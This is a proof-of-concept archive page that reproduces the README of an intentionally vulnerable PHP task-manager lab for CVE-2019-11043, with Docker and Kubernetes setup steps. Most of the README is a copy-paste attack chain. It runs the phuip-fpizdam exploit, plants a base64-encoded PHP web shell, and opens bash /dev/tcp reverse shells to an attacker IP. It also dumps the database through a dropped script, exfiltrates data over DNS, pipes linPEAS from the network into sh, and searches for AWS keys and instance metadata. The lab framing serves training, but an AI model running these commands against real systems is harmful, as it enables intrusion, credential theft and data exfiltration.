Associated Vulnerability
Title:Underflow in PHP-FPM can lead to RCE (CVE-2019-11043)Description:In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it is possible to cause FPM module to write past allocated buffers into the space reserved for FCGI protocol data, thus opening the possibility of remote code execution.
Readme
# Task Management APP (CVE-2019-11043 Lab)
Minimal PHP app with intentionally vulnerable Nginx/PHP-FPM setup for reproducing CVE-2019-11043. Includes a tiny task manager, login/admin, and DB config UI.
## Build & Run (Docker)
```bash
# build
docker build -t cve-2019-11043-lab:app .
# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app
# open
open http://localhost:8080/
```
## Exploit Quickstart
Use `phuip-fpizdam` against `status.php`, let it detect params, then rerun with `--skip-detect`.
```bash
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"
```
## Database Support
The app supports **both SQLite and MySQL** with automatic detection:
### SQLite (Default)
- **DSN**: `sqlite:/var/www/html/data/app.sqlite`
- **No authentication required**
- **Automatic setup** - database file created on first run
- **Perfect for development and testing**
### MySQL (Optional)
- **DSN**: `mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4`
- **Requires username/password authentication**
- **Environment variable override** for Kubernetes deployments
### Environment Variables
When these environment variables are set, they automatically override the DSN:
- `DB_HOST` - Database hostname
- `DB_PORT` - Database port (default: `3306`)
- `DB_NAME` - Database name
- `DB_USER` - Database username
- `DB_PASS` - Database password
### Automatic Migrations
- The app runs migrations on-demand from requests (e.g., `index.php`, `login.php`, `admin.php`).
- K8s probes hit `/health.php`, which also verifies DB connectivity.
- No external migration job or local PHP is required.
## Kubernetes (EKS) Deployment
Manifests are under `k8s/`:
- `k8s/secret.yaml`: MySQL credentials (stringData placeholders)
- `k8s/mysql-deployment.yaml`: MySQL Deployment + Service
- `k8s/app-deployment.yaml`: App Deployment (privileged) + Service; mounts secret and sets DB env vars
- `k8s/ingress.yaml`: Nginx Ingress routing to the app
Image placeholder uses `quay.io` – change `quay.io/your-org/cve-2019-11043-lab:app` to your repo.
Apply order:
```bash
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml
```
Ingress assumes an Nginx Ingress Controller and `taskapp.local` DNS/hosts pointing to its address.
## Project Structure
- `public/`: web root (entrypoints)
- `app/`: app helpers (config, db, auth, version)
- `php/`: PHP-FPM ini overrides
- `k8s/`: Kubernetes manifests
- `data/`: runtime data (SQLite db, config)
## Default Admin
Login at `/login.php` using `admin` / `admin` (UI hint hidden by CSS).
## Database Configuration UI
Access `/db_config.php` as admin to:
- View current database status and type
- Switch between SQLite and MySQL
- Configure connection parameters
- See connection examples for both database types
## Disclaimer
This is an intentionally vulnerable environment. Do not expose to untrusted networks.
## Multi-platform image build (Buildx)
Build and push a multi-arch image (linux/amd64, linux/arm64) to `quay.io`.
Prereqs: Docker Buildx (Docker Desktop includes it). Optional QEMU emulation: `docker run --privileged --rm tonistiigi/binfmt --install all`.
```bash
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app
# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap
# build and push multi-arch image
docker buildx build \
--platform linux/amd64,linux/arm64 \
-t "$IMG" \
-t "${IMG}-$(date +%Y%m%d)" \
--push .
# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"
```
## End-to-end with phuip-fpizdam (copy/paste)
Set targets:
```bash
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"
```
Exploit (auto-detect, then final run):
```bash
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"
```
Drop a tiny web shell and verify exec:
```bash
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"
```
Continue with Post-Exploitation Lab Exercises below for reverse shell, MySQL dump, DNS TXT exfil, linPEAS, and AWS keys search.
## Post-Exploitation Lab Exercises (for this lab only)
These steps are for educational use in this lab environment only.
Set your base URL and attacker IP:
```bash
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444
```
### 1) Get command execution and drop a simple web shell
After you exploit CVE-2019-11043 with `phuip-fpizdam`, use the RCE primitive to write a tiny web shell. If you already have a shell inside the container, run:
```bash
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null
```
If you only have RCE (no shell), run the same base64 write via the RCE primitive (e.g., through the exploit tool).
Validate:
```bash
curl -s "$BASE/sh.php?c=whoami"
```
### 2) whoami
```bash
curl -s "$BASE/sh.php?c=whoami"
```
### 3) Reverse shell attempt (bash /dev/tcp)
On your attacker host:
```bash
nc -lvnp "$ATTACKER_PORT"
```
Trigger from the target (URL-encoded command):
```bash
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
```
If `bash` is unavailable, try:
```bash
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
```
### 4) MySQL backup (dump)
Option A (cluster operator path):
```bash
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz
```
Option B (via web shell using PHP PDO): write a quick dumper script that uses the app config:
```bash
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
$rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
echo "-- Table: {$t}\n";
echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP
# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json
```
### 5) Exfiltrate via DNS TXT (toy example)
Point a test domain you control (e.g., `exf.attacker.tld`) to a nameserver you capture on (e.g., `dnschef` or `bind`). Then from the target, trigger DNS lookups carrying chunks:
```bash
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\'''
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"
```
Observe queries on your nameserver; reconstruct from labels.
### 6) Pull and run linPEAS (priv-esc enumeration)
```bash
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
### 7) Search for AWS keys
```bash
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'
# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"
# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true
```
Again: only perform these within this lab. Never test against systems you don’t own or have explicit permission to assess.
File Snapshot
[4.0K] /data/pocs/a7d99a84393b7ae661d8ca8692ab68654024ef0a
├── [4.0K] app
│ ├── [1.2K] auth.php
│ ├── [1.4K] config.php
│ ├── [2.0K] db.php
│ ├── [ 524] init_db.php
│ └── [ 65] version.php
├── [4.0K] data
├── [1.6K] Dockerfile
├── [4.0K] k8s
│ ├── [2.3K] app-deployment.yaml
│ ├── [ 565] ingress.yaml
│ ├── [1.5K] mysql-deployment.yaml
│ └── [ 241] secret.yaml
├── [1.1K] nginx.conf
├── [4.0K] php
│ ├── [ 21] zz-cgi.ini
│ └── [ 15] zz-expose.ini
├── [4.0K] public
│ ├── [2.4K] admin.php
│ ├── [4.0K] assets
│ │ └── [2.6K] styles.css
│ ├── [3.3K] db_config.php
│ ├── [ 525] health.php
│ ├── [1.2K] index.php
│ ├── [ 542] info.php
│ ├── [1.4K] login.php
│ ├── [ 130] logout.php
│ └── [ 854] status.php
└── [8.0K] README.md
6 directories, 23 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →